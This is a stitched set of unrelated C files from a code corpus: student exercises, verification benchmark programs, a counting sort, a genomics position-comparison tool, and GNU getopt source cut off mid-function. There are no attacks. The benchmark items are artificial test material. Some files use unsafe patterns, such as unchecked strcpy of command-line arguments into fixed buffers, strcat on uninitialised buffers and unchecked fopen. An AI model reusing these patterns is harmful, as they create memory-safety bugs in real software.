#define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <string.h> int main(void){ /* char buffer[5]; int i; for (i = 0; i < 3; i++){ fgets(buffer, sizeof(buffer), stdin); puts(buffer); printf("strlen(buffer) = %d\n", strlen(buffer)); } fflush(stdout); */ /* string io char str1[10]; char str2[10]; char str3[20]; fgets(str1,strlen(str1),stdin); str1[strlen(str1) - 1] = 0; fgets(str2,strlen(str2), stdin); fgets(str3, 5, str1); fgets(&str3[5], 5, str2); puts(str3); */ ////////tokenize practice!!!!!!!!!!!!!! char first[100]; char second[100]; char *fptr = first; char *sptr = second; int i = 0; fgets(first, sizeof(first), stdin); fgets(second, sizeof(second), stdin); first[strlen(first) - 1] = 0; second[strlen(second) - 1] = 0; while (*(fptr++) != ' '); while (*(sptr++) != ' '); for (i = 0; &first[i] < fptr; i++){ if ( first[i] != second[i]) { puts("1"); return 0; } puts("0"); } fptr++; sptr++; i++; while (fptr == &first[strlen(first)]|| * (fptr++) != ' '); while (sptr == &second[strlen(second)] || *(sptr++) != ' '); for (; &first[i] < fptr; i++){ if (first[i] != second[i]) { puts("1"); return 0; } puts("0"); } return 0; }
the_stack_data/76699654.c
/* * Date: 07/07/2015 * Created by: Ton Chanh Le ([email protected]) */ extern int __VERIFIER_nondet_int(); int f(int x); int g(int x); int f(int x) { if (x <= 0) return 0; else return g(x) + g(x + 1); } int g(int x) { if (x <= 0) return 0; else return f(x - 1) + f(x - 2); } int main() { int x = __VERIFIER_nondet_int(); g(x); }
the_stack_data/243893861.c
extern void __VERIFIER_error() __attribute__ ((__noreturn__)); void __VERIFIER_assert(int cond) { if(!(cond)) { ERROR: __VERIFIER_error(); } } #define N 10 int main ( ) { int A[ N ]; int B[ N ]; int C[ N ]; int i; int j = 0; for (i = 0; i < N ; i++) { if ( A[i] == B[i] ) { C[j] = i; j = j + 1; } } int x; for ( x = 0 ; x < j ; x++ ) { __VERIFIER_assert( C[x] <= x + i - j ); } for ( x = 0 ; x < j ; x++ ) { __VERIFIER_assert( C[x] >= x ); } return 0; }
the_stack_data/738650.c
#include <stdio.h> #include <stdlib.h> void display(int *A, int len); void counting_sort(int *A, int *B, int k, int len); int main(int argc, const char * argv[]) { int a[8] = {2, 5, 3, 0, 2, 3, 0, 3}; int b[8] = {0}; display(a, 8); counting_sort(a, b, 6, 8); display(b, 8); return 0; } void counting_sort(int *A, int *B, int k, int len) { int *C = (int *)malloc(sizeof(float) * k); for (int i = 0; i < k; ++i) { C[i] = 0; } // count for (int i = 0; i < len; ++i) { C[A[i]]++; } // count index for (int i = 1; i < k; ++i) { C[i] = C[i] + C[i-1]; } for (int i = len - 1; i >= 0; --i) { B[C[A[i]] - 1] = A[i]; C[A[i]]--; } free(C); } void display(int *A, int len) { for (int i = 0; i < len; ++i) { printf("%d ", A[i]); } printf("\n"); }
the_stack_data/119668.c
extern void __VERIFIER_error(); #include <stdlib.h> #include <pthread.h> #include <string.h> void __VERIFIER_assert(int expression) { if (!expression) { ERROR: __VERIFIER_error();}; return; } char *v; void *thread1(void * arg) { v = malloc(sizeof(char) * 8); } void *thread2(void *arg) { if (v) strcpy(v, "Bigshot"); } int main() { pthread_t t1, t2; pthread_create(&t1, 0, thread1, 0); pthread_join(t1, 0); pthread_create(&t2, 0, thread2, 0); pthread_join(t2, 0); __VERIFIER_assert(v[0] == 'B'); // <---- wrong, malloc() can fail and therefore no strcpy! Competition's rule: malloc() never fails, thus it is safe. return 0; }
the_stack_data/3263942.c
/* compare.c Junfeng Liu, 2015 This is an program to see if the locations from two . gcc -o compare compare.c -lm compare <transfile> <pre_transcript_id> <pre_position> <transcript_id> <position> */ #include<stdio.h> #include<string.h> #include<errno.h> #include<stdlib.h> #include<math.h> /*The function is used to convert the location in the chromsome to the location in the transcript and to compare*/ int GetNumber (char *transf, char *pre_transcript_id, char *pre_position, char *transcript_id, char *position, char *length); int main (int argc, char* argv[]) { int l; char trans[1000], pre_transcript_id[1000], pre_position[1000], transcript_id[1000], position[1000], length[1000]; if(argc>6) { strcpy(trans, argv[1]); strcpy(pre_transcript_id, argv[2]); strcpy(pre_position, argv[3]); strcpy(transcript_id, argv[4]); strcpy(position, argv[5]); strcpy(length, argv[6]); } else { return -1; } l=GetNumber(trans,pre_transcript_id,pre_position,transcript_id,position,length); return (l); } int GetNumber (char *transf, char *pre_transcript_id, char *pre_position, char *transcript_id, char *position, char *length) { /* j for chracter loop about each row of the trans file; read for column loop about each row; k for character loop about each column; l for 'for loop'; */ int k, j, l, read; /*n1 for the start position of the exon; n2 for the end position of the exon; n3 for the location in the transcript; n4 for the number of the transcript which include the assigned methylation site; */ long n1, n2, n3, n4, n5, n6, length_remain_1, length_remain_2; /*ls[] for each row of the trans file; temp[] for each column of the row; temp2[] for chromosome name and the transcript name; */ char ls[5000], temp[1000], temp2[1000]; char te1, te2, te3, te4; char pre_chrom_name[1000], chrom_name[1000]; char record_all_1[1000], record_1[1000], record_all_2[1000], record_2[1000]; FILE *ftrans=fopen (transf, "r"); n4=0; n5=0; n6=0; length_remain_1=0; length_remain_2=0; te3='G'; te4='G'; /*read each row of the trans file*/ while(fgets(ls,5000,ftrans) != NULL) { k=0; j=0; read=0; n1=0; n2=0; n3=0; te1='0'; te2='0'; memset(temp,0,sizeof(temp)); memset(temp2,0,sizeof(temp2)); while(read<1000) { temp[k]=ls[j]; if(ls[j]==' '||ls[j]=='\t'||ls[j]=='\n') { if(read==0) { for(l=0;l<k;l++) { temp2[l]=temp[l]; } } if(read==1) { if(strncmp(temp,pre_transcript_id,k)==0) { te1='1'; strcpy(pre_chrom_name,temp2); } if(strncmp(temp,transcript_id,k)==0) { te2='1'; strcpy(chrom_name,temp2); } } if(te1=='0'&&te2=='0'&&read>1) { break; } if((read>=2)&&(fmod(read,2)==0)) { n1=atol(temp); } if((read>=2)&&(fmod(read,2)==1)) { n2=atol(temp); } /*get the location in the transcript and output*/ if(n2>n1) { n3=n3+n2-n1+1; if(te1=='1') { if(n4>0) { if(length_remain_1>(n2-n1+1)) { memset(record_1,0,sizeof(record_1)); sprintf(record_1,"%ld",n1); strcat(record_all_1,record_1); memset(record_1,0,sizeof(record_1)); sprintf(record_1,"%ld",n2); strcat(record_all_1,record_1); length_remain_1=length_remain_1-(n2-n1+1); } else { memset(record_1,0,sizeof(record_1)); sprintf(record_1,"%ld",n1); strcat(record_all_1,record_1); memset(record_1,0,sizeof(record_1)); sprintf(record_1,"%ld",(n1+length_remain_1-1)); strcat(record_all_1,record_1); te3='1'; break; } } if((atol(pre_position)<=n3)&&(n4==0)) { n4=n2+atol(pre_position)-n3; if((n4+atol(length)-1)<=n2) { memset(record_1,0,sizeof(record_1)); sprintf(record_1,"%ld",n4); strcat(record_all_1,record_1); memset(record_1,0,sizeof(record_1)); sprintf(record_1,"%ld",(n4+atol(length)-1)); strcat(record_all_1,record_1); te3='1'; break; } else { memset(record_1,0,sizeof(record_1)); sprintf(record_1,"%ld",n4); strcat(record_all_1,record_1); memset(record_1,0,sizeof(record_1)); sprintf(record_1,"%ld",n2); strcat(record_all_1,record_1); length_remain_1=atol(length)-(n2-n4+1); } } } if(te2=='1') { if(n5>0) { if(length_remain_2>(n2-n1+1)) { memset(record_2,0,sizeof(record_2)); sprintf(record_2,"%ld",n1); strcat(record_all_2,record_2); memset(record_2,0,sizeof(record_2)); sprintf(record_2,"%ld",n2); strcat(record_all_2,record_2); length_remain_2=length_remain_2-(n2-n1+1); } else { memset(record_2,0,sizeof(record_2)); sprintf(record_2,"%ld",n1); strcat(record_all_2,record_2); memset(record_2,0,sizeof(record_2)); sprintf(record_2,"%ld",(n1+length_remain_2-1)); strcat(record_all_2,record_2); te4='1'; break; } } if((atol(position)<=n3)&&(n5==0)) { n5=n2+atol(position)-n3; if((n5+atol(length)-1)<=n2) { memset(record_2,0,sizeof(record_2)); sprintf(record_2,"%ld",n5); strcat(record_all_2,record_2); memset(record_2,0,sizeof(record_2)); sprintf(record_2,"%ld",(n5+atol(length)-1)); strcat(record_all_2,record_2); te4='1'; break; } else { memset(record_2,0,sizeof(record_2)); sprintf(record_2,"%ld",n5); strcat(record_all_2,record_2); memset(record_2,0,sizeof(record_2)); sprintf(record_2,"%ld",n2); strcat(record_all_2,record_2); length_remain_2=atol(length)-(n2-n5+1); } } } } if(ls[j]=='\n') { break; } memset(temp,0,sizeof(temp)); read=read+1; k=0; } else { k=k+1; } j=j+1; } if(te3=='1'&&te4=='1') { if(strcmp(pre_chrom_name,chrom_name)==0&&strcmp(record_all_1,record_all_2)==0) { n6=1; } else { n6=0; } break; } } fclose(ftrans); return(n6); }
the_stack_data/140764515.c
/* * Demonstrate the switch statement * * Compile with: gcc -o conditional2 conditional2.c */ #include <stdio.h> #include <stdbool.h> int main(void){ char question[] = "Enter a number between 1 and 4: "; while(true){ /* Query for a number between 1 and 4 */ printf(question); int guess; scanf("%d", &guess); bool inrange = true; /* Evaluate the response */ switch(guess){ case 1: printf("You entered the number One\n"); break; case 2: printf("You entered the number Two\n"); break; case 3: printf("You entered the number Three\n"); break; case 4: printf("You entered the number Four\n"); break; default: /* Error condition */ printf("Please try again!\n"); inrange = false; break; } if(inrange){ break; } } return(0); }
the_stack_data/242330336.c
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #define fixnum_mask ((int64_t) 3) #define fixnum_tag ((int64_t) 0) #define fixnum_shift ((int64_t) 2) #define char_mask ((int64_t) 0xFF) #define char_tag ((int64_t) 0x0E) #define char_shift ((int64_t) 8) #define bool_mask ((int64_t) 0x3F) #define bool_tag ((int64_t) 0x1F) #define bool_shift ((int64_t) 7) #define empty_list ((int64_t) 0x2F) #define ref_mask ((int64_t) 0x7) #define ref_shift ((int64_t) 3) #define cons_tag ((int64_t) 0x1) #define vec_tag ((int64_t) 0x2) #define str_tag ((int64_t) 0x3) #define symb_tag ((int64_t) 0x5) #define closure_tag ((int64_t) 0x6) #define HEAP_SIZE ((int64_t) 8192) extern int scheme_entry(void *heap); int main(int argc, char *argv[] ){ void *heap = malloc(HEAP_SIZE); // printf("heap: 0x%lX\n", heap); // scheme_entry receives parameter in register rdi int64_t val = scheme_entry(heap); // printf("0x%lX\n", val); if ((val & fixnum_mask) == fixnum_tag) { printf("%ld\n", val >> fixnum_shift); } else if ((val & char_mask) == char_tag) { printf("%ld\n", val >> char_shift); } else if ((val & bool_mask) == bool_tag) { char *s = (val >> bool_shift) ? "true" : "false"; printf("%s\n", s); } else if ((val & ref_mask) == cons_tag) { printf("<cons>\n"); } else if ((val & ref_mask) == vec_tag) { printf("<vector>\n"); } else if ((val & ref_mask) == str_tag) { printf("<string>\n"); } else if ((val & ref_mask) == symb_tag) { printf("<symbol>\n"); } else if ((val & ref_mask) == closure_tag) { printf("<closure>\n"); } else if (val == empty_list) { printf("()\n"); } else { printf("value error\n"); } free(heap); return 0; }
the_stack_data/10051.c
#include <stdio.h> // ############################## // Scrieți un program care citește de la tastatură un număr natural reprezentând un an și // verifică dacă anul respectiv este bisect sau nu. Un an este bisect fie dacă este divizibil // cu 4 și nu este divizibil cu 100, fie este divizibil cu 400. // ############################## int main() { int year; // Get year from user printf("Introdu un numar intreg: \n"); scanf("%d", &year); // identify if is a leap year or not if (((year % 4 == 0) && (year % 100!= 0)) || (year % 400 == 0)) { printf("%d este an bisect", year); } else { printf("%d nu este an bisect", year); } return 0; }
the_stack_data/37717.c
/* Getopt for GNU. NOTE: getopt is now part of the C library, so if you don't know what "Keep this file name-space clean" means, talk to [email protected] before changing it! Copyright (C) 1987,88,89,90,91,92,93,94,95,96,98,99,2000,2001 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. */ /* This tells Alpha OSF/1 not to define a getopt prototype in <stdio.h>. Ditto for AIX 3.2 and <stdlib.h>. */ #ifndef _NO_PROTO # define _NO_PROTO #endif #ifdef HAVE_CONFIG_H # include <config.h> #endif #if !defined __STDC__ || !__STDC__ /* This is a separate conditional since some stdc systems reject `defined (const)'. */ # ifndef const # define const # endif #endif #include <stdio.h> /* Comment out all this code if we are using the GNU C Library, and are not actually compiling the library itself. This code is part of the GNU C Library, but also included in many other GNU distributions. Compiling and linking in this code is a waste when using the GNU C library (especially if it is a shared library). Rather than having every GNU program understand `configure --with-gnu-libc' and omit the object files, it is simpler to just do this in the source for each such file. */ #define GETOPT_INTERFACE_VERSION 2 #if !defined _LIBC && defined __GLIBC__ && __GLIBC__ >= 2 # include <gnu-versions.h> # if _GNU_GETOPT_INTERFACE_VERSION == GETOPT_INTERFACE_VERSION # define ELIDE_CODE # endif #endif #ifndef ELIDE_CODE /* This needs to come after some library #include to get __GNU_LIBRARY__ defined. */ #ifdef __GNU_LIBRARY__ /* Don't include stdlib.h for non-GNU C libraries because some of them contain conflicting prototypes for getopt. */ # include <stdlib.h> # include <unistd.h> #endif /* GNU C library. */ #ifdef VMS # include <unixlib.h> # if HAVE_STRING_H - 0 # include <string.h> # endif #endif #ifndef _ /* This is for other GNU distributions with internationalized messages. */ # if (HAVE_LIBINTL_H && ENABLE_NLS) || defined _LIBC # include <libintl.h> # ifndef _ # define _(msgid) gettext (msgid) # endif # else # define _(msgid) (msgid) # endif # if defined _LIBC && defined USE_IN_LIBIO # include <wchar.h> # endif #endif /* This version of `getopt' appears to the caller like standard Unix `getopt' but it behaves differently for the user, since it allows the user to intersperse the options with the other arguments. As `getopt' works, it permutes the elements of ARGV so that, when it is done, all the options precede everything else. Thus all application programs are extended to handle flexible argument order. Setting the environment variable POSIXLY_CORRECT disables permutation. Then the behavior is completely standard. GNU application programs can use a third alternative mode in which they can distinguish the relative order of options and other arguments. */ #include "getopt.h" /* For communication from `getopt' to the caller. When `getopt' finds an option that takes an argument, the argument value is returned here. Also, when `ordering' is RETURN_IN_ORDER, each non-option ARGV-element is returned here. */ char *optarg; /* Index in ARGV of the next element to be scanned. This is used for communication to and from the caller and for communication between successive calls to `getopt'. On entry to `getopt', zero means this is the first call; initialize. When `getopt' returns -1, this is the index of the first of the non-option elements that the caller should itself scan. Otherwise, `optind' communicates from one call to the next how much of ARGV has been scanned so far. */ /* 1003.2 says this must be 1 before any call. */ int optind = 1; /* Formerly, initialization of getopt depended on optind==0, which causes problems with re-calling getopt as programs generally don't know that. */ int __getopt_initialized; /* The next char to be scanned in the option-element in which the last option character we returned was found. This allows us to pick up the scan where we left off. If this is zero, or a null string, it means resume the scan by advancing to the next ARGV-element. */ static char *nextchar; /* Callers store zero here to inhibit the error message for unrecognized options. */ int opterr = 1; /* Set to an option character which was unrecognized. This must be initialized on some systems to avoid linking in the system's own getopt implementation. */ int optopt = '?'; /* Describe how to deal with options that follow non-option ARGV-elements. If the caller did not specify anything, the default is REQUIRE_ORDER if the environment variable POSIXLY_CORRECT is defined, PERMUTE otherwise. REQUIRE_ORDER means don't recognize them as options; stop option processing when the first non-option is seen. This is what Unix does. This mode of operation is selected by either setting the environment variable POSIXLY_CORRECT, or using `+' as the first character of the list of option characters. PERMUTE is the default. We permute the contents of ARGV as we scan, so that eventually all the non-options are at the end. This allows options to be given in any order, even with programs that were not written to expect this. RETURN_IN_ORDER is an option available to programs that were written to expect options and other ARGV-elements in any order and that care about the ordering of the two. We describe each non-option ARGV-element as if it were the argument of an option with character code 1. Using `-' as the first character of the list of option characters selects this mode of operation. The special argument `--' forces an end of option-scanning regardless of the value of `ordering'. In the case of RETURN_IN_ORDER, only `--' can cause `getopt' to return -1 with `optind' != ARGC. */ static enum { REQUIRE_ORDER, PERMUTE, RETURN_IN_ORDER } ordering; /* Value of POSIXLY_CORRECT environment variable. */ static char *posixly_correct; #ifdef __GNU_LIBRARY__ /* We want to avoid inclusion of string.h with non-GNU libraries because there are many ways it can cause trouble. On some systems, it contains special magic macros that don't work in GCC. */ # include <string.h> # define my_index strchr #else # if HAVE_STRING_H || WIN32 /* Pete Wilson mod 7/28/02 */ # include <string.h> # else # include <strings.h> # endif /* Avoid depending on library functions or files whose names are inconsistent. */ #ifndef getenv extern char *getenv (); #endif static char * my_index (str, chr) const char *str; int chr; { while (*str) { if (*str == chr) return (char *) str; str++; } return 0; } /* If using GCC, we can safely declare strlen this way. If not using GCC, it is ok not to declare it. */ #ifdef __GNUC__ /* Note that Motorola Delta 68k R3V7 comes with GCC but not stddef.h. That was relevant to code that was here before. */ # if (!defined __STDC__ || !__STDC__) && !defined strlen /* gcc with -traditional declares the built-in strlen to return int, and has done so at least since version 2.4.5. -- rms. */ extern int strlen (const char *); # endif /* not __STDC__ */ #endif /* __GNUC__ */ #endif /* not __GNU_LIBRARY__ */ /* Handle permutation of arguments. */ /* Describe the part of ARGV that contains non-options that have been skipped. `first_nonopt' is the index in ARGV of the first of them; `last_nonopt' is the index after the last of them. */ static int first_nonopt; static int last_nonopt; #ifdef _LIBC /* Stored original parameters. XXX This is no good solution. We should rather copy the args so that we can compare them later. But we must not use malloc(3). */ extern int __libc_argc; extern char **__libc_argv; /* Bash 2.0 gives us an environment variable containing flags indicating ARGV elements that should not be considered arguments. */ # ifdef USE_NONOPTION_FLAGS /* Defined in getopt_init.c */ extern char *__getopt_nonoption_flags; static int nonoption_flags_max_len; static int nonoption_flags_len; # endif # ifdef USE_NONOPTION_FLAGS # define SWAP_FLAGS(ch1, ch2) \ if (nonoption_flags_len > 0) \ { \ char __tmp = __getopt_nonoption_flags[ch1]; \ __getopt_nonoption_flags[ch1] = __getopt_nonoption_flags[ch2]; \ __getopt_nonoption_flags[ch2] = __tmp; \ } # else # define SWAP_FLAGS(ch1, ch2) # endif #else /* !_LIBC */ # define SWAP_FLAGS(ch1, ch2) #endif /* _LIBC */ /* Exchange two adjacent subsequences of ARGV. One subsequence is elements [first_nonopt,last_nonopt) which contains all the non-options that have been skipped so far. The other is elements [last_nonopt,optind), which contains all the options processed since those non-options were skipped. `first_nonopt' and `last_nonopt' are relocated so that they describe the new indices of the non-options in ARGV after they are moved. */ #if defined __STDC__ && __STDC__ static void exchange (char **); #endif static void exchange (argv) char **argv; { int bottom = first_nonopt; int middle = last_nonopt; int top = optind; char *tem; /* Exchange the shorter segment with the far end of the longer segment. That puts the shorter segment into the right place. It leaves the longer segment in the right place overall, but it consists of two parts that need to be swapped next. */ #if defined _LIBC && defined USE_NONOPTION_FLAGS /* First make sure the handling of the `__getopt_nonoption_flags' string can work normally. Our top argument must be in the range of the string. */ if (nonoption_flags_len > 0 && top >= nonoption_flags_max_len) { /* We must extend the array. The user plays games with us and presents new arguments. */ char *new_str = malloc (top + 1); if (new_str == NULL) nonoption_flags_len = nonoption_flags_max_len = 0; else { memset (__mempcpy (new_str, __getopt_nonoption_flags, nonoption_flags_max_len), '\0', top + 1 - nonoption_flags_max_len); nonoption_flags_max_len = top + 1; __getopt_nonoption_flags = new_str; } } #endif while (top > middle && middle > bottom) { if (top - middle > middle - bottom) { /* Bottom segment is the short one. */ int len = middle - bottom; register int i; /* Swap it with the top part of the top segment. */ for (i = 0; i < len; i++) { tem = argv[bottom + i]; argv[bottom + i] = argv[top - (middle - bottom) + i]; argv[top - (middle - bottom) + i] = tem; SWAP_FLAGS (bottom + i, top - (middle - bottom) + i); } /* Exclude the moved bottom segment from further swapping. */ top -= len; } else { /* Top segment is the short one. */ int len = top - middle; register int i; /* Swap it with the bottom part of the bottom segment. */ for (i = 0; i < len; i++) { tem = argv[bottom + i]; argv[bottom + i] = argv[middle + i]; argv[middle + i] = tem; SWAP_FLAGS (bottom + i, middle + i); } /* Exclude the moved top segment from further swapping. */ bottom += len; } } /* Update records for the slots the non-options now occupy. */ first_nonopt += (optind - last_nonopt); last_nonopt = optind; } /* Initialize the internal data when the first call is made. */ #if defined __STDC__ && __STDC__ static const char *_getopt_initialize (int, char *const *, const char *); #endif static const char * _getopt_initialize (argc, argv, optstring) int argc; char *const *argv; const char *optstring; { /* Start processing options with ARGV-element 1 (since ARGV-element 0 is the program name); the sequence of previously skipped non-option ARGV-elements is empty. */ first_nonopt = last_nonopt = optind; nextchar = NULL; posixly_correct = getenv ("POSIXLY_CORRECT"); /* Determine how to handle the ordering of options and nonoptions. */ if (optstring[0] == '-') { ordering = RETURN_IN_ORDER; ++optstring; } else if (optstring[0] == '+') { ordering = REQUIRE_ORDER; ++optstring; } else if (posixly_correct != NULL) ordering = REQUIRE_ORDER; else ordering = PERMUTE; #if defined _LIBC && defined USE_NONOPTION_FLAGS if (posixly_correct == NULL && argc == __libc_argc && argv == __libc_argv) { if (nonoption_flags_max_len == 0) { if (__getopt_nonoption_flags == NULL || __getopt_nonoption_flags[0] == '\0') nonoption_flags_max_len = -1; else { const char *orig_str = __getopt_nonoption_flags; int len = nonoption_flags_max_len = strlen (orig_str); if (nonoption_flags_max_len < argc) nonoption_flags_max_len = argc; __getopt_nonoption_flags = (char *) malloc (nonoption_flags_max_len); if (__getopt_nonoption_flags == NULL) nonoption_flags_max_len = -1; else memset (__mempcpy (__getopt_nonoption_flags, orig_str, len), '\0', nonoption_flags_max_len - len); } } nonoption_flags_len = nonoption_flags_max_len; } else nonoption_flags_len = 0; #endif return optstring; } /* Scan elements of ARGV (whose length is ARGC) for option characters given in OPTSTRING. If an element of ARGV starts with '-', and is not exactly "-" or "--", then it is an option element. The characters of this element (aside from the initial '-') are option characters. If `getopt' is called repeatedly, it returns successively each of the option characters from each of the option elements. If `getopt' finds another option character, it returns that character, updating `optind' and `nextchar' so that the next call to `getopt' can resume the scan with the following option character or ARGV-element. If there are no more option characters, `getopt' returns -1. Then `optind' is the index in ARGV of the first ARGV-element that is not an option. (The ARGV-elements have been permuted so that those that are not options now come last.) OPTSTRING is a string containing the legitimate option characters. If an option character is seen that is not listed in OPTSTRING, return '?' after printing an error message. If you set `opterr' to zero, the error message is suppressed but we still return '?'. If a char in OPTSTRING is followed by a colon, that means it wants an arg, so the following text in the same ARGV-element, or the text of the following ARGV-element, is returned in `optarg'. Two colons mean an option that wants an optional arg; if there is text in the current ARGV-element, it is returned in `optarg', otherwise `optarg' is set to zero. If OPTSTRING starts with `-' or `+', it requests different methods of handling the non-option ARGV-elements. See the comments about RETURN_IN_ORDER and REQUIRE_ORDER, above. Long-named options begin with `--' instead of `-'. Their names may be abbreviated as long as the abbreviation is unique or is an exact match for some defined option. If they have an argument, it follows the option name in the same ARGV-element, separated from the option name by a `=', or else the in next ARGV-element. When `getopt' finds a long-named option, it returns 0 if that option's `flag' field is nonzero, the value of the option's `val' field if the `flag' field is zero. The elements of ARGV aren't really const, because we permute them. But we pretend they're const in the prototype to be compatible with other systems. LONGOPTS is a vector of `struct option' terminated by an element containing a name which is zero. LONGIND returns the index in LONGOPT of the long-named option found. It is only valid when a long-named option has been found by the most recent call. If LONG_ONLY is nonzero, '-' as well as '--' can introduce long-named options. */ int _getopt_internal (argc, argv, optstring, longopts, longind, long_only) int argc; char *const *argv; const char *optstring; const struct option *longopts; int *longind; int long_only; { int print_errors = opterr; if (optstring[0] == ':') print_errors = 0; if (argc < 1) return -1; optarg = NULL; if (optind == 0 || !__getopt_initialized) { if (optind == 0) optind = 1; /* Don't scan ARGV[0], the program name. */ optstring = _getopt_initialize (argc, argv, optstring); __getopt_initialized = 1; } /* Test whether ARGV[optind] points to a non-option argument. Either it does not have option syntax, or there is an environment flag from the shell indicating it is not an option. The later information is only used when the used in the GNU libc. */ #if defined _LIBC && defined USE_NONOPTION_FLAGS # define NONOPTION_P (argv[optind][0] != '-' || argv[optind][1] == '\0' \ || (optind < nonoption_flags_len \ && __getopt_nonoption_flags[optind] == '1')) #else # define NONOPTION_P (argv[optind][0] != '-' || argv[optind][1] == '\0') #endif if (nextchar == NULL || *nextchar == '\0') { /* Advance to the next ARGV-element. */ /* Give FIRST_NONOPT and LAST_NONOPT rational values if OPTIND has been moved back by the user (who may also have changed the arguments). */ if (last_nonopt > optind) last_nonopt = optind; if (first_nonopt > optind) first_nonopt = optind; if (ordering == PERMUTE) { /* If we have just processed some options following some non-options, exchange them so that the options come first. */ if (first_nonopt != last_nonopt && last_nonopt != optind) exchange ((char **) argv); else if (last_nonopt != optind) first_nonopt = optind; /* Skip any additional non-options and extend the range of non-options previously skipped. */ while (optind < argc && NONOPTION_P) optind++; last_nonopt = optind; } /* The special ARGV-element `--' means premature end of options. Skip it like a null option, then exchange with previous non-options as if it were an option, then skip everything else like a non-option. */ if (optind != argc && !strcmp (argv[optind], "--")) { optind++; if (first_nonopt != last_nonopt && last_nonopt != optind) exchange ((char **) argv); else if (first_nonopt == last_nonopt) first_nonopt = optind; last_nonopt = argc; optind = argc; } /* If we have done all the ARGV-elements, stop the scan and back over any non-options that we skipped and permuted. */ if (optind == argc) { /* Set the next-arg-index to point at the non-options that we previously skipped, so the caller will digest them. */ if (first_nonopt != last_nonopt) optind = first_nonopt; return -1; } /* If we have come to a non-option and did not permute it, either stop the scan or describe it to the caller and pass it by. */ if (NONOPTION_P) { if (ordering == REQUIRE_ORDER) return -1; optarg = argv[optind++]; return 1; } /* We have found another option-ARGV-element. Skip the initial punctuation. */ nextchar = (argv[optind] + 1 + (longopts != NULL && argv[optind][1] == '-')); } /* Decode the current option-ARGV-element. */ /* Check whether the ARGV-element is a long option. If long_only and the ARGV-element has the form "-f", where f is a valid short option, don't consider it an abbreviated form of a long option that starts with f. Otherwise there would be no way to give the -f short option. On the other hand, if there's a long option "fubar" and the ARGV-element is "-fu", do consider that an abbreviation of the long option, just like "--fu", and not "-f" with arg "u". This distinction seems to be the most useful approach. */ if (longopts != NULL && (argv[optind][1] == '-' || (long_only && (argv[optind][2] || !my_index (optstring, argv[optind][1]))))) { char *nameend; const struct option *p; const struct option *pfound = NULL; int exact = 0; int ambig = 0; int indfound = -1; int option_index; for (nameend = nextchar; *nameend && *nameend != '='; nameend++) /* Do nothing. */ ; /* Test all long options for either exact match or abbreviated matches. */ for (p = longopts, option_index = 0; p->name; p++, option_index++) if (!strncmp (p->name, nextchar, nameend - nextchar)) { if ((unsigned int) (nameend - nextchar) == (unsigned int) strlen (p->name)) { /* Exact match found. */ pfound = p; indfound = option_index; exact = 1; break; } else if (pfound == NULL) { /* First nonexact match found. */ pfound = p; indfound = option_index; } else if (long_only || pfound->has_arg != p->has_arg || pfound->flag != p->flag || pfound->val != p->val) /* Second or later nonexact match found. */ ambig = 1; } if (ambig && !exact) { if (print_errors) { #if defined _LIBC && defined USE_IN_LIBIO char *buf; __asprintf (&buf, _("%s: option `%s' is ambiguous\n"), argv[0], argv[optind]); if (_IO_fwide (stderr, 0) > 0) __fwprintf (stderr, L"%s", buf); else fputs (buf, stderr); free (buf); #else fprintf (stderr, _("%s: option `%s' is ambiguous\n"), argv[0], argv[optind]); #endif } nextchar += strlen (nextchar); optind++; optopt = 0; return '?'; } if (pfound != NULL) { option_index = indfound; optind++; if (*nameend) { /* Don't test has_arg with >, because some C compilers don't allow it to be used on enums. */ if (pfound->has_arg) optarg = nameend + 1; else { if (print_errors) { #if defined _LIBC && defined USE_IN_LIBIO char *buf; #endif if (argv[optind - 1][1] == '-') { /* --option */ #if defined _LIBC && defined USE_IN_LIBIO __asprintf (&buf, _("\ %s: option `--%s' doesn't allow an argument\n"), argv[0], pfound->name); #else fprintf (stderr, _("\ %s: option `--%s' doesn't allow an argument\n"), argv[0], pfound->name); #endif } else { /* +option or -option */ #if defined _LIBC && defined USE_IN_LIBIO __asprintf (&buf, _("\ %s: option `%c%s' doesn't allow an argument\n"), argv[0], argv[optind - 1][0], pfound->name); #else fprintf (stderr, _("\ %s: option `%c%s' doesn't allow an argument\n"), argv[0], argv[optind - 1][0], pfound->name); #endif } #if defined _LIBC && defined USE_IN_LIBIO if (_IO_fwide (stderr, 0) > 0) __fwprintf (stderr, L"%s", buf); else fputs (buf, stderr); free (buf); #endif } nextchar += strlen (nextchar); optopt = pfound->val; return '?'; } } else if (pfound->has_arg == 1) { if (optind < argc) optarg = argv[optind++]; else { if (print_errors) { #if defined _LIBC && defined USE_IN_LIBIO char *buf; __asprintf (&buf, _("%s: option `%s' requires an argument\n"), argv[0], argv[optind - 1]); if (_IO_fwide (stderr, 0) > 0) __fwprintf (stderr, L"%s", buf); else fputs (buf, stderr); free (buf); #else fprintf (stderr, _("%s: option `%s' requires an argument\n"), argv[0], argv[optind - 1]); #endif } nextchar += strlen (nextchar); optopt = pfound->val; return optstring[0] == ':' ? ':' : '?'; } } nextchar += strlen (nextchar); if (longind != NULL) *longind = option_index; if (pfound->flag) { *(pfound->flag) = pfound->val; return 0; } return pfound->val; } /* Can't find it as a long option. If this is not getopt_long_only, or the option starts with '--' or is not a valid short option, then it's an error. Otherwise interpret it as a short option. */ if (!long_only || argv[optind][1] == '-' || my_index (optstring, *nextchar) == NULL) { if (print_errors) { #if defined _LIBC && defined USE_IN_LIBIO char *buf; #endif if (argv[optind][1] == '-') { /* --option */ #if defined _LIBC && defined USE_IN_LIBIO __asprintf (&buf, _("%s: unrecognized option `--%s'\n"), argv[0], nextchar); #else fprintf (stderr, _("%s: unrecognized option `--%s'\n"), argv[0], nextchar); #endif } else { /* +option or -option */ #if defined _LIBC && defined USE_IN_LIBIO __asprintf (&buf, _("%s: unrecognized option `%c%s'\n"), argv[0], argv[optind][0], nextchar); #else fprintf (stderr, _("%s: unrecognized option `%c%s'\n"), argv[0], argv[optind][0], nextchar); #endif } #if defined _LIBC && defined USE_IN_LIBIO if 